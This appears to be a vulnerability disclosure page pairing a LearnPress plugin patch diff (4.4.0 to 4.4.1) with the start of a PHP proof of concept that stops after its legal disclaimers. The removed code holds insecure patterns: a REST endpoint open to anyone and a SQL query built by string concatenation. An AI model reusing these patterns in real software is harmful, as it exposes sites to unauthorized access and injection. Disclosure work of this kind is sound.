-	public function __construct() {
-		if ( ! wp_is_block_theme() ) {
-			return;
-		}
-		$this->id      = $this->theme . '//' . $this->slug;
-		$template_file = '';
-
-		if ( ! empty( $this->path_html_block_template_file ) ) {
-			$template_file = Template::instance( false )->get_frontend_template_type_block(
-				$this->path_html_block_template_file
-			);
-		}
-
-		// Set content from theme file.
-		if ( file_exists( $template_file ) ) {
-			$content = file_get_contents( $template_file );
-			if ( version_compare( get_bloginfo( 'version' ), '6.4-beta', '>=' ) ) {
-				$this->content = traverse_and_serialize_blocks( parse_blocks( $content ) );
-			} else {
-				$this->content = _inject_theme_attribute_in_block_template_content( $content );
-			}
-		}
-	}
-
-	/**
-	 * Render content of block tag
-	 *
-	 * @param array $attributes | Attributes of block tag.
-	 *
-	 * @return false|string
-	 */
-	public function render_content_block_template( array $attributes ) {
-		$content = '';
-
-		try {
-			ob_start();
-			$template = $this->path_template_render_default;
-			Template::instance()->get_frontend_template( $template, compact( 'attributes' ) );
-
-			$content = ob_get_clean();
-		} catch ( Throwable $e ) {
-			ob_end_clean();
-		}
-
-		return $content;
-	}
-}
--- a/learnpress/inc/block-template/class-block-template-archive-course.php
+++ b/learnpress/inc/block-template/class-block-template-archive-course.php
@@ -1,20 +0,0 @@
-<?php
-
-/**
- * Class Block_Template_Archive_Course
- *
- * Handle register, render block template
- */
-class Block_Template_Archive_Course extends Abstract_Block_Template {
-	public $slug                          = 'archive-lp_course';
-	public $name                          = 'learnpress/archive-course';
-	public $title                         = 'Course Archive (LearnPress)';
-	public $description                   = 'Course Archive Block Template';
-	public $path_html_block_template_file = 'html/archive-lp_course.html';
-	public $path_template_render_default  = 'archive-course.php';
-	public $source_js                     = LP_PLUGIN_URL . 'assets/js/dist/blocks/archive-course.js';
-
-	public function __construct() {
-		parent::__construct();
-	}
-}
--- a/learnpress/inc/block-template/class-block-template-handle.php
+++ b/learnpress/inc/block-template/class-block-template-handle.php
@@ -1,191 +0,0 @@
-<?php
-
-use LearnPressHelpersConfig;
-
-/**
- * Class Block_Template_Handle
- *
- * Handle register, render block template
- */
-class Block_Template_Handle {
-	public static function instance() {
-		static $instance = null;
-
-		if ( is_null( $instance ) ) {
-			$instance = new self();
-		}
-
-		return $instance;
-	}
-
-	/**
-	 * Hooks handle block template
-	 */
-	protected function __construct() {
-		add_filter( 'get_block_templates', array( $this, 'add_block_templates' ), 10, 3 );
-		add_filter( 'pre_get_block_file_template', array( $this, 'edit_block_file_template' ), 10, 3 );
-		add_action( 'init', array( $this, 'register_tag_block' ) );
-		// Register block category
-		add_filter( 'block_categories_all', array( $this, 'add_block_category' ), 10, 2 );
-	}
-
-	/**
-	 * Register block, render content of block
-	 *
-	 * @return void
-	 */
-	public function register_tag_block() {
-		$block_templates = Config::instance()->get( 'block-templates' );
-
-		/**
-		 * @var Abstract_Block_Template $block_template
-		 */
-		foreach ( $block_templates as $block_template ) {
-			// Register script.
-			wp_register_script(
-				$block_template->name, // Block name
-				$block_template->source_js, // Block script
-				array( 'wp-blocks' ), // Dependencies
-				uniqid() // Version
-			);
-
-			// Render content block template child of parent block
-			if ( $block_template->inner_block ) {
-				/**
-				 * @see Block_Title_Course::render_content_inner_block_template
-				 */
-				register_block_type_from_metadata(
-					$block_template->inner_block,
-					[
-						'render_callback' => [ $block_template, 'render_content_inner_block_template' ],
-					]
-				);
-				continue;
-			}
-
-			// Render content block template parent
-			register_block_type(
-				$block_template->name,
-				[
-					'render_callback' => [ $block_template, 'render_content_block_template' ],
-					'editor_script'   => $block_template->name,
-				]
-			);
-		}
-	}
-
-	/**
-	 * Add blocks template
-	 *
-	 * @param array $query_result Array of template objects.
-	 * @param array $query Optional. Arguments to retrieve templates.
-	 * @param mixed $template_type wp_template or wp_template_part.
-	 *
-	 * @return array
-	 */
-	public function add_block_templates( array $query_result, array $query, $template_type ): array {
-		if ( $template_type === 'wp_template_part' ) { // Template not Template part
-			return $query_result;
-		}
-
-		$lp_block_templates = Config::instance()->get( 'block-templates' );
-
-		foreach ( $lp_block_templates as $block_template ) {
-			$new = new $block_template();
-
-			// Get block template if custom - save on table posts.
-			$block_custom = $this->is_custom_block_template( $template_type, $new->slug );
-			if ( $block_custom ) {
-				$new->is_custom = true;
-				$new->source    = 'custom';
-				if ( version_compare( get_bloginfo( 'version' ), '6.4-beta', '>=' ) ) {
-					$new->content = traverse_and_serialize_blocks( parse_blocks( $block_custom->post_content ) );
-				} else {
-					$new->content = _inject_theme_attribute_in_block_template_content( $block_custom->post_content );
-				}
-			}
-
-			if ( empty( $query ) ) { // For Admin and rest api call to this function, so $query is empty
-				$query_result[] = $new;
-			} else {
-				$slugs = $query['slug__in'] ?? array();
-				if ( in_array( $new->slug, $slugs ) ) {
-					$query_result[] = $new;
-				}
-			}
-		}
-
-		return $query_result;
-	}
-
-	/**
-	 * Load template block when edit and save.
-	 *
-	 * @param WP_Block_Template|null $template
-	 * @param string $id
-	 * @param $template_type
-	 *
-	 * @return WP_Block_Template|null
-	 */
-	public function edit_block_file_template( WP_Block_Template $template = null, string $id, $template_type ) {
-		$lp_block_templates = Config::instance()->get( 'block-templates' );
-
-		foreach ( $lp_block_templates as $block_template ) {
-			if ( $id === $block_template->id ) {
-				$template = $block_template;
-				break;
-			}
-		}
-
-		return $template;
-	}
-
-	/**
-	 * Check is custom block template
-	 *
-	 * @param $template_type
-	 * @param $post_name
-	 *
-	 * @return WP_Post|null
-	 */
-	public function is_custom_block_template( $template_type, $post_name ) {
-		$post_block_theme = null;
-
-		$check_query_args = array(
-			'post_type'      => $template_type,
-			'posts_per_page' => 1,
-			'no_found_rows'  => true,
-			'post_name__in'  => array( $post_name ),
-		);
-
-		$check = new WP_Query( $check_query_args );
-
-		if ( count( $check->get_posts() ) > 0 ) {
-			$post_block_theme = $check->get_posts()[0];
-		}
-
-		return $post_block_theme;
-	}
-
-	/**
-	 * Register block category
-	 *
-	 * @param array $block_categories
-	 * @param $editor_context
-	 *
-	 * @return array
-	 */
-	public function add_block_category( array $block_categories, $editor_context ) {
-		$lp_category_block = array(
-			'slug'  => 'learnpress-category',
-			'title' => __( 'LearnPress Category', 'learnpress' ),
-			'icon'  => null,
-		);
-
-		array_unshift( $block_categories, $lp_category_block );
-
-		return $block_categories;
-	}
-}
-
-Block_Template_Handle::instance();
--- a/learnpress/inc/block-template/class-block-template-item-curriculum-course.php
+++ b/learnpress/inc/block-template/class-block-template-item-curriculum-course.php
@@ -1,20 +0,0 @@
-<?php
-
-/**
- * Class Block_Template_Single_Course
- *
- * Handle register, render block template
- */
-class Block_Template_Item_Curriculum_Course extends Abstract_Block_Template {
-	public $slug                          = 'item-curriculum-course';
-	public $name                          = 'learnpress/item-curriculum-course';
-	public $title                         = 'Item curriculum Course (LearnPress)';
-	public $description                   = 'Item Curriculum Course Block Template';
-	public $path_html_block_template_file = 'html/item-curriculum-course.html';
-	public $path_template_render_default  = 'content-single-item.php';
-	public $source_js                     = LP_PLUGIN_URL . 'assets/js/dist/blocks/item-curriculum-course.js';
-
-	public function __construct() {
-		parent::__construct();
-	}
-}
--- a/learnpress/inc/block-template/class-block-template-single-course.php
+++ b/learnpress/inc/block-template/class-block-template-single-course.php
@@ -1,49 +0,0 @@
-<?php
-
-use LearnPressModelsCourseModel;
-
-/**
- * Class Block_Template_Single_Course
- *
- * Handle register, render block template
- */
-class Block_Template_Single_Course extends Abstract_Block_Template {
-	public $slug                          = 'single-lp_course';
-	public $name                          = 'learnpress/single-course';
-	public $title                         = 'Single Course (LearnPress)';
-	public $description                   = 'Single Course Block Template';
-	public $path_html_block_template_file = 'html/single-lp_course.html';
-	public $path_template_render_default  = 'single-course.php';
-	public $source_js                     = LP_PLUGIN_URL . 'assets/js/dist/blocks/single-course.js';
-
-	public function __construct() {
-		parent::__construct();
-	}
-
-	/**
-	 * Render content of block tag
-	 *
-	 * @param array $attributes | Attributes of block tag.
-	 *
-	 * @return false|string
-	 */
-	public function render_content_block_template( array $attributes ) {
-		global $wp;
-		$object = get_queried_object();
-		$vars = $wp->query_vars;
-		// Todo: For item course current display on post_type course
-		// After when handle display item course on correct post_type item, remove this code.
-		if ( ! empty( $vars['course-item'] ) ) {
-			global $post;
-			setup_postdata( $post );
-			$this->path_template_render_default = 'content-single-item.php';
-		} elseif ( $object ) {
-			$course = CourseModel::find( $object->ID, true );
-			if ( $course && $course->is_offline() ) {
-				$this->path_template_render_default = 'single-course-offline.php';
-			}
-		}
-
-		return parent::render_content_block_template( $attributes );
-	}
-}
--- a/learnpress/inc/class-lp-multi-language.php
+++ b/learnpress/inc/class-lp-multi-language.php
@@ -1,70 +0,0 @@
-<?php
-defined( 'ABSPATH' ) || exit;
-
-if ( ! class_exists( 'LP_Multi_Language' ) ) {
-	/**
-	 * Class LP_Multi_Language
-	 *
-	 * @author  ThimPress
-	 * @package LearnPress/Clases
-	 * @version 1.0
-	 */
-	class LP_Multi_Language {
-		public static function init() {
-			self::load_plugin_text_domain( LP_PLUGIN_FILE );
-		}
-
-		/**
-		 * Helper function to load text-domain for LP addons.
-		 *
-		 * @param string $path
-		 * @param string $text_domain
-		 * @param string $language_folder
-		 */
-		public static function load_plugin_text_domain( $path, $text_domain = '', $language_folder = 'languages' ) {
-			// Get absolute plugin folder instead of plugin file
-			if ( false !== strpos( $path, '.php' ) ) {
-				$path = dirname( $path );
-			}
-
-			// Plugin folder, such as: learnpress-offline-payment
-			$plugin_folder = basename( $path );
-
-			// If name of text-domain is not set
-			if ( ! $text_domain ) {
-				$text_domain = $plugin_folder;
-			}
-
-			$locale = apply_filters( 'plugin_locale', get_locale(), $text_domain );
-
-			if ( is_admin() ) {
-				load_textdomain( $text_domain, WP_LANG_DIR . "/{$plugin_folder}/{$plugin_folder}-admin-{$locale}.mo" );
-				load_textdomain( $text_domain, WP_LANG_DIR . "/plugins/{$plugin_folder}-admin-{$locale}.mo" );
-			}
-
-			load_textdomain( $text_domain, WP_LANG_DIR . "/{$plugin_folder}/{$plugin_folder}-{$locale}.mo" );
-
-			$mo = WP_CONTENT_DIR . "/plugins/{$plugin_folder}/languages/{$plugin_folder}-{$locale}.mo";
-			load_textdomain( $text_domain, $mo );
-			load_plugin_textdomain( $text_domain, false, plugin_basename( $path ) . '/' . $language_folder );
-
-		}
-	}
-}
-
-LP_Multi_Language::init();
-
-if ( ! function_exists( 'learn_press_load_plugin_text_domain' ) ) {
-	/**
-	 * Load plugin text domain
-	 *
-	 * @param string $path            - Path to plugin
-	 * @param string $text_domain     - Name of text-domain
-	 * @param string $language_folder - Folder inside the plugin that contains language files
-	 */
-	function learn_press_load_plugin_text_domain( $path, $text_domain = '', $language_folder = '' ) {
-
-		LP_Multi_Language::load_plugin_text_domain( $path, $text_domain, $language_folder );
-
-	}
-}
--- a/learnpress/inc/class-lp-nonce-helper.php
+++ b/learnpress/inc/class-lp-nonce-helper.php
@@ -1,88 +0,0 @@
-<?php
-
-/**
- * Class LP_Nonce_Helper
- */
-class LP_Nonce_Helper {
-	/**
-	 * Create nonce for course action.
-	 * Return nonce created with format 'learn-press-$action-$course_id-course-$user_id'
-	 *
-	 * @param string $action [retake, purchase, enroll]
-	 * @param int    $course_id
-	 * @param int    $user_id
-	 *
-	 * @since 3.0.0
-	 *
-	 * @return string
-	 */
-	public static function create_course( $action, $course_id = 0, $user_id = 0 ) {
-		if ( ! $course_id ) {
-			$course_id = get_the_ID();
-		}
-
-		if ( ! $user_id ) {
-			$user_id = get_current_user_id();
-		}
-
-		return wp_create_nonce( sprintf( 'learn-press-%s-course-%s-%s', $action, $course_id, $user_id ) );
-	}
-
-	/**
-	 * Verify nonce for course action.
-	 *
-	 * @param string $nonce
-	 * @param string $action
-	 * @param int    $course_id
-	 * @param int    $user_id
-	 *
-	 * @since 3.0.0
-	 *
-	 * @return bool
-	 * @deprecated 4.1.6.9
-	 */
-	/*public static function verify_course( $nonce, $action, $course_id = 0, $user_id = 0 ) {
-		if ( ! $course_id ) {
-			$course_id = get_the_ID();
-		}
-
-		if ( ! $user_id ) {
-			$user_id = get_current_user_id();
-		}
-
-		return wp_verify_nonce( $nonce, sprintf( 'learn-press-%s-course-%s-%s', $action, $course_id, $user_id ) );
-	}*/
-
-	public static function quiz_action( $action, $quiz_id, $course_id, $ajax = false ) {
-		?>
-		<input type="hidden" name="quiz-id" value="<?php echo esc_attr( $quiz_id ); ?>">
-		<input type="hidden" name="course-id" value="<?php echo esc_attr( $course_id ); ?>">
-		<?php if ( $ajax ) { ?>
-			<input type="hidden" name="lp-ajax" value="<?php echo esc_attr( $action ); ?>-quiz">
-		<?php } else { ?>
-			<input type="hidden" name="lp-<?php echo esc_attr( $action ); ?>-quiz" value="<?php echo esc_attr( $quiz_id ); ?>">
-		<?php } ?>
-		<input type="hidden" name="<?php echo esc_attr( $action ); ?>-quiz-nonce" value="<?php echo wp_create_nonce( sprintf( 'learn-press/quiz/%s/%s-%s-%s', $action, get_current_user_id(), $course_id, $quiz_id ) ); ?>">
-		<?php
-	}
-
-	/**
-	 * @deprecated 4.1.6.9
-	 */
-	/*public static function verify_quiz_action( $action, $nonce = '', $quiz_id = 0, $course_id = 0 ) {
-		if ( ! $nonce ) {
-			$nonce = LP_Request::get_post( $action . '-quiz-nonce' );
-		}
-
-		if ( ! $quiz_id ) {
-			global $lp_course_item;
-			$quiz_id = $lp_course_item instanceof LP_Course_Item ? $lp_course_item->get_id() : 0;
-		}
-
-		if ( ! $course_id ) {
-			$course_id = get_the_ID();
-		}
-
-		return wp_verify_nonce( $nonce, sprintf( 'learn-press/quiz/%s/%s-%s-%s', $action, get_current_user_id(), $course_id, $quiz_id ) );
-	}*/
-}
--- a/learnpress/inc/gateways/class-lp-gateway-none.php
+++ b/learnpress/inc/gateways/class-lp-gateway-none.php
@@ -1,27 +0,0 @@
-<?php
-/**
- * Class LP_Gateway_None
- *
- * @author  ThimPress
- * @package LearnPress/Classes
- * @version 1.0
- */
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-class LP_Gateway_None extends LP_Gateway_Abstract {
-	/**
-	 * @param $order_id
-	 *
-	 * @return mixed
-	 */
-	public function process_payment( $order_id ) {
-		$order = new LP_Order( $order_id );
-
-		$order->payment_complete();
-
-		return array( 'result' => 'success' );
-	}
-}
--- a/learnpress/inc/gateways/paypal/class-lp-gateway-paypal.php
+++ b/learnpress/inc/gateways/paypal/class-lp-gateway-paypal.php
@@ -213,10 +213,10 @@
 				$paypal_payment_url = $this->create_payment_url( $order );
 			}

-			$result['result']   = 'success';
-			$result['redirect'] = $paypal_payment_url;
-
-			return $result;
+			return [
+				'result'   => 'success',
+				'redirect' => $paypal_payment_url,
+			];
 		}

 		/**
--- a/learnpress/inc/lesson/lp-lesson-functions.php
+++ b/learnpress/inc/lesson/lp-lesson-functions.php
@@ -1,82 +0,0 @@
-<?php
-/**
- * Lession function.
- *
- * @author ThimPress
- * @version 4.0.0
- * @deprecated 4.2.2
- */
-
-defined( 'ABSPATH' ) || exit();
-
-function learn_press_lesson_comment_form_fields( $post_id ) {
-	if ( empty( $_REQUEST['content-item-only'] ) ) {
-		return;
-	}
-	?>
-
-	<input type="hidden" name="content-item-only-redirect" value="<?php echo learn_press_get_current_url(); ?>"/>
-	<input type="hidden" name="content-item-only" value="yes"/>
-
-	<?php
-}
-//add_action( 'comment_form', 'learn_press_lesson_comment_form_fields' );
-
-if ( ! function_exists( 'learn_press_get_only_content_permalink' ) ) {
-	function learn_press_get_only_content_permalink( $redirect, $comment ) {
-		if ( empty( $_REQUEST['content-item-only'] ) || sanitize_text_field( $_REQUEST['content-item-only'] ) !== 'yes' ) {
-			return $redirect;
-		}
-
-		if ( empty( $_REQUEST['content-item-only-redirect'] ) ) {
-			return $redirect;
-		}
-
-		if ( get_post_type( $comment->comment_post_ID ) != 'lp_lesson' ) {
-			return $redirect;
-		}
-
-		return esc_url_raw( add_query_arg( 'content-item-only', 'yes', LP_Helper::sanitize_params_submitted( $_REQUEST['content-item-only-redirect'] ) ) );
-	}
-}
-//add_filter( 'comment_post_redirect', 'learn_press_get_only_content_permalink', 10, 2 );
-
-/*function learn_press_lesson_comment_form() {
-	global $post;
-
-	$course = learn_press_get_course();
-	if ( ! $course ) {
-		return;
-	}
-
-	$lesson = LP_Global::course_item();
-	if ( ! $lesson ) {
-		return;
-	}
-
-	$user = learn_press_get_current_user();
-
-	if ( $lesson->setup_postdata() ) {
-		if ( comments_open() || get_comments_number() ) {
-			add_filter( 'deprecated_file_trigger_error', '__return_false' );
-			comments_template();
-			remove_filter( 'deprecated_file_trigger_error', '__return_false' );
-		}
-
-		$lesson->reset_postdata();
-	}
-
-}*/
-
-/**
- * Remove data section after remove lesson
- */
-function learn_press_lesson_before_delete_post( $post_id, $force = false ) {
-	global $wpdb;
-
-	if ( 'lp_lesson' === get_post_type( $post_id ) ) {
-		$sql = 'DELETE FROM `' . $wpdb->prefix . 'learnpress_section_items` WHERE `item_id` = ' . $post_id . ' AND `item_type` = "lp_lesson"';
-		$wpdb->query( $sql );
-	}
-}
-//add_action( 'delete_post', 'learn_press_lesson_before_delete_post', 10, 2 );
--- a/learnpress/inc/order/lp-order-functions.php
+++ b/learnpress/inc/order/lp-order-functions.php
@@ -503,7 +503,7 @@
 	 * Build normalized refund event payload.
 	 *
 	 * @since 4.3.5
-	 * @version 1.0.0
+	 * @version 1.0.1
 	 *
 	 * @param LP_Order $order
 	 * @param array    $overrides
@@ -522,7 +522,7 @@
 			);
 		}

-		$user_id        = $order->get_user_id();
+		$user_id        = (int) $order->get_user_id();
 		$userOrderModel = UserModel::find( $user_id, true );
 		if ( $userOrderModel instanceof UserModel ) {
 			$requested_by = $userOrderModel->get_display_name();
--- a/learnpress/inc/rest-api/v1/admin/class-lp-admin-rest-tools-controller.php
+++ b/learnpress/inc/rest-api/v1/admin/class-lp-admin-rest-tools-controller.php
@@ -677,9 +677,9 @@
 	 *
 	 * @return bool
 	 */
-	public function check_permission(): bool {
+	public function check_permission( $request = null ): bool {
 		$permission = current_user_can( ADMIN_ROLE );
-		$permission = apply_filters( 'learn-press/api-admin-tools/permission', $permission );
+		$permission = apply_filters( 'learn-press/api-admin-tools/permission', $permission, $request );

 		return $permission;
 	}
--- a/learnpress/inc/rest-api/v1/frontend/class-lp-rest-gateway-webhook-controller.php
+++ b/learnpress/inc/rest-api/v1/frontend/class-lp-rest-gateway-webhook-controller.php
@@ -53,13 +53,13 @@
 		 *
 		 * @return Response
 		 * @since 4.3.7
-		 * @version 1.0.0
+		 * @version 1.0.1
 		 */
 		public function listen_subscription_webhook( WP_REST_Request $request ): Response {
-			$response = new Response();
+			$response   = new Response();
+			$gateway_id = sanitize_key( (string) $request->get_param( 'gateway' ) );

 			try {
-				$gateway_id = sanitize_key( (string) $request->get_param( 'gateway' ) );
 				if ( empty( $gateway_id ) ) {
 					throw new Exception( __( 'Gateway is required.', 'learnpress' ), 400 );
 				}
@@ -73,13 +73,14 @@
 					throw new Exception( __( 'Gateway is not enable.', 'learnpress' ), 404 );
 				}

-				LP_Debug::log_to_comment( 'Webhook payload: ' . json_encode( $request->get_body(), JSON_UNESCAPED_UNICODE ) );
+				//LP_Debug::log_to_comment( 'Webhook payload: ' . json_encode( $request->get_body(), JSON_UNESCAPED_UNICODE ) );

 				/**
 				 * @var LP_Gateway_Paypal|LP_Gateway_Stripe $gateway
 				 */
 				$gateway->capture_subscription_webhook( $request );
 			} catch ( Throwable $e ) {
+				LP_Debug::log_to_comment( 'Webhook error: ' . $gateway_id . ' - ' . $e->getMessage() );
 				LP_Debug::error_log( $e );
 				$response->message = $e->getMessage();
 			}
--- a/learnpress/inc/rest-api/v1/frontend/class-lp-rest-orders-controller.php
+++ b/learnpress/inc/rest-api/v1/frontend/class-lp-rest-orders-controller.php
@@ -1,58 +0,0 @@
-<?php
-
-use LearnPressHelpersTemplate;
-
-class LP_REST_Orders_Controller extends LP_Abstract_REST_Controller {
-	public function __construct() {
-		$this->namespace = 'lp/v1';
-		$this->rest_base = 'orders';
-
-		parent::__construct();
-	}
-
-	public function register_routes() {
-		$this->routes = array(
-			'statistic' => array(
-				array(
-					'methods'             => WP_REST_Server::READABLE,
-					'callback'            => array( $this, 'statistic' ),
-					'permission_callback' => '__return_true',
-				),
-			),
-		);
-
-		parent::register_routes();
-	}
-
-	/**
-	 * Get statistic of orders.
-	 *
-	 * @param WP_REST_Request $request
-	 *
-	 * @return LP_REST_Response
-	 * @since 4.0.0
-	 * @version 1.0.1
-	 */
-	public function statistic( WP_REST_Request $request ): LP_REST_Response {
-		$response       = new LP_REST_Response();
-		$response->data = '';
-
-		try {
-			//$order_statuses    = learn_press_get_order_statuses( true, true );
-			$order_statuses = LP_Order::get_order_statuses();
-			$lp_order_icons = LP_Order::get_icons_status();
-
-			ob_start();
-			$data = compact( 'order_statuses', 'lp_order_icons' );
-			Template::instance()->get_admin_template( 'dashboard/html-orders', $data );
-			$response->data   = ob_get_clean();
-			$response->status = 'success';
-		} catch ( Throwable $e ) {
-			ob_end_clean();
-			$response->message = $e->getMessage();
-		}
-
-		return $response;
-	}
-
-}
--- a/learnpress/learnpress.php
+++ b/learnpress/learnpress.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://thimpress.com/learnpress
  * Description: LearnPress is a WordPress complete solution for creating a Learning Management System (LMS). It can help you to create courses, lessons and quizzes.
  * Author: ThimPress
- * Version: 4.4.0
+ * Version: 4.4.1
  * Author URI: http://thimpress.com
  * Requires at least: 6.0
  * Requires PHP: 7.4
--- a/learnpress/templates/checkout/form.php
+++ b/learnpress/templates/checkout/form.php
@@ -6,7 +6,7 @@
  *
  * @author   ThimPress
  * @package  Learnpress/Templates
- * @version  4.0.5
+ * @version  4.0.6
  */

 defined( 'ABSPATH' ) || exit();
@@ -15,16 +15,22 @@
 ?>
 <?php
 if ( ! is_user_logged_in() ) {
+	$enable_login_on_page_checkout = LP_Settings::get_option( 'enable_login_checkout', 'yes' ) === 'yes';
+	$login_text = sprintf(
+		'<a class="lp-link-login" href="%s">%s</a>',
+		learn_press_get_login_url( LP_Helper::getUrlCurrent() ),
+		__( 'login', 'learnpress' )
+	);
+
+	if ( $enable_login_on_page_checkout ) {
+		$login_text = __( 'login', 'learnpress' );
+	}
 	?>
 	<div class="learn-press-message error">
 		<?php
 		printf(
 			__( 'Please %s in to enroll in the course!', 'learnpress' ),
-			sprintf(
-				'<a class="lp-link-login" href="%s">%s</a>',
-				learn_press_get_login_url( LP_Helper::getUrlCurrent() ),
-				__( 'login', 'learnpress' )
-			)
+			$login_text
 		);
 		?>
 	</div>
--- a/learnpress/vendor/autoload.php
+++ b/learnpress/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit0f605074db146227d4f3cabab672b077::getLoader();
+return ComposerAutoloaderInitdbee25fcb9cbfa5a93c4beebb98321da::getLoader();
--- a/learnpress/vendor/composer/autoload_real.php
+++ b/learnpress/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit0f605074db146227d4f3cabab672b077
+class ComposerAutoloaderInitdbee25fcb9cbfa5a93c4beebb98321da
 {
     private static $loader;

@@ -22,12 +22,12 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInit0f605074db146227d4f3cabab672b077', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitdbee25fcb9cbfa5a93c4beebb98321da', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit0f605074db146227d4f3cabab672b077', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitdbee25fcb9cbfa5a93c4beebb98321da', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit0f605074db146227d4f3cabab672b077::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitdbee25fcb9cbfa5a93c4beebb98321da::getInitializer($loader));

         $loader->register(true);

--- a/learnpress/vendor/composer/autoload_static.php
+++ b/learnpress/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit0f605074db146227d4f3cabab672b077
+class ComposerStaticInitdbee25fcb9cbfa5a93c4beebb98321da
 {
     public static $prefixLengthsPsr4 = array (
         'T' =>
@@ -43,9 +43,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit0f605074db146227d4f3cabab672b077::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit0f605074db146227d4f3cabab672b077::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit0f605074db146227d4f3cabab672b077::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitdbee25fcb9cbfa5a93c4beebb98321da::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitdbee25fcb9cbfa5a93c4beebb98321da::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitdbee25fcb9cbfa5a93c4beebb98321da::$classMap;

         }, null, ClassLoader::class);
     }
--- a/learnpress/vendor/composer/installed.php
+++ b/learnpress/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'learnpress/learnpress',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '398e577108f7adb5e7f883dfc48a912ae1e26624',
+        'reference' => '67327f73fa28c0020691be8cdfb314c105bba708',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,16 +13,16 @@
         'learnpress/learnpress' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '398e577108f7adb5e7f883dfc48a912ae1e26624',
+            'reference' => '67327f73fa28c0020691be8cdfb314c105bba708',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'symfony/css-selector' => array(
-            'pretty_version' => 'v6.4.34',
-            'version' => '6.4.34.0',
-            'reference' => 'b0314c186f1464de048cce58979ff1625ca88bbb',
+            'pretty_version' => 'v8.1.0',
+            'version' => '8.1.0.0',
+            'reference' => 'dc0e2be45c9b5588c82414f02ac574b4b986abcd',
             'type' => 'library',
             'install_path' => __DIR__ . '/../symfony/css-selector',
             'aliases' => array(),
--- a/learnpress/vendor/symfony/css-selector/Exception/SyntaxErrorException.php
+++ b/learnpress/vendor/symfony/css-selector/Exception/SyntaxErrorException.php
@@ -17,7 +17,7 @@
  * ParseException is thrown when a CSS selector syntax is not valid.
  *
  * This component is a port of the Python cssselect library,
- * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect.
+ * which is copyright Ian Bicking, @see https://github.com/scrapy/cssselect.
  *
  * @author Jean-François Simon <jeanfrancois.simon@sensiolabs.com>
  */
@@ -40,7 +40,12 @@

     public static function nestedNot(): self
     {
-        return new self('Got nested ::not().');
+        return new self('Got nested :not().');
+    }
+
+    public static function nestedHas(): self
+    {
+        return new self('Got too deeply nested :has().');
     }

     public static function notAtTheStartOfASelector(string $pseudoElement): self
--- a/learnpress/vendor/symfony/css-selector/Node/AttributeNode.php
+++ b/learnpress/vendor/symfony/css-selector/Node/AttributeNode.php
@@ -23,19 +23,13 @@
  */
 class AttributeNode extends AbstractNode
 {
-    private NodeInterface $selector;
-    private ?string $namespace;
-    private string $attribute;
-    private string $operator;
-    private ?string $value;
-
-    public function __construct(NodeInterface $selector, ?string $namespace, string $attribute, string $operator, ?string $value)
-    {
-        $this->selector = $selector;
-        $this->namespace = $namespace;
-        $this->attribute = $attribute;
-        $this->operator = $operator;
-        $this->value = $value;
+    public function __construct(
+        private NodeInterface $selector,
+        private ?string $namespace,
+        private string $attribute,
+        private string $operator,
+        private ?string $value,
+    ) {
     }

     public function getSelector(): NodeInterface
--- a/learnpress/vendor/symfony/css-selector/Node/ClassNode.php
+++ b/learnpress/vendor/symfony/css-selector/Node/ClassNode.php
@@ -23,13 +23,10 @@
  */
 class ClassNode extends AbstractNode
 {
-    private NodeInterface $selector;
-    private string $name;
-
-    public function __construct(NodeInterface $selector, string $name)
-    {
-        $this->selector = $selector;
-        $this->name = $name;
+    public function __construct(
+        private NodeInterface $selector,
+        private string $name,
+    ) {
     }

     public function getSelector(): NodeInterface
--- a/learnpress/vendor/symfony/css-selector/Node/CombinedSelectorNode.php
+++ b/learnpress/vendor/symfony/css-selector/Node/CombinedSelectorNode.php
@@ -23,15 +23,11 @@
  */
 class CombinedSelectorNode extends AbstractNode
 {
-    private NodeInterface $selector;
-    p

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
